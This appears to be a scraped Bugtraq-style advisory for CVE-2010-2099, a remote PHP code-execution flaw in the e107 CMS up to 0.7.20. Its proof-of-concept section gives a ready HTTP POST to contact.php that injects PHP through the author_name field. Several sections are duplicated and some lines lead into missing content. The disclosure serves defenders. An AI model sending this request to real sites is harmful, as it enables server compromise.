e107 BBCode Arbitrary PHP Code Execution Vulnerability
BID:40252
Info
e107 BBCode Arbitrary PHP Code Execution Vulnerability
| Bugtraq ID: | 40252 |
| Class: | Input Validation Error |
| CVE: |
CVE-2010-2099 |
| Remote: | Yes |
| Local: | No |
| Published: | May 19 2010 12:00AM |
| Updated: | Apr 13 2015 09:02PM |
| Credit: | Stefan Esser |
| Vulnerable: |
e107 e107 website system 0.7.11 e107 e107 website system 0.7.8 e107 e107 website system 0.7.5 e107 e107 website system 0.7.2 e107 e107 website system 0.7.1 e107 e107 website system 0.7 e107 e107 0.7.20 e107 e107 0.7.19 e107 e107 0.7.18 e107 e107 0.7.17 e107 e107 0.7.16 e107 e107 0.7.15 e107 e107 0.7.13 e107 e107 0.7.8 e107 e107 0.7.5 |
| Not Vulnerable: | |
Discussion
e107 BBCode Arbitrary PHP Code Execution Vulnerability
e107 is prone to a remote PHP code-execution vulnerability.
An attacker can exploit this issue to inject and execute arbitrary malicious PHP code in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
e107 version 0.7.20 and prior are affected.
e107 is prone to a remote PHP code-execution vulnerability.
An attacker can exploit this issue to inject and execute arbitrary malicious PHP code in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
e107 version 0.7.20 and prior are affected.
Exploit / POC
e107 BBCode Arbitrary PHP Code Execution Vulnerability
Attackers can exploit this issue using a browser.
The following example is available:
POST /contact.php HTTP/1.1
Host: www.example.com
User-Agent: e107 0.7.20 Remote Code Execution Exploit
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
send-contactus=1&author_name=[php]phpinfo()%3bdie()%3b[/php]&
The following exploit is also available:
Attackers can exploit this issue using a browser.
The following example is available:
POST /contact.php HTTP/1.1
Host: www.example.com
User-Agent: e107 0.7.20 Remote Code Execution Exploit
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
send-contactus=1&author_name=[php]phpinfo()%3bdie()%3b[/php]&
The following exploit is also available:
Solution / Fix
e107 BBCode Arbitrary PHP Code Execution Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
e107 BBCode Arbitrary PHP Code Execution Vulnerability
References:
References:
- e107 CMS Homepage (e107)
- MOPS-2010-035: e107 BBCode Remote PHP Code Execution Vulnerability (Stefan Esser)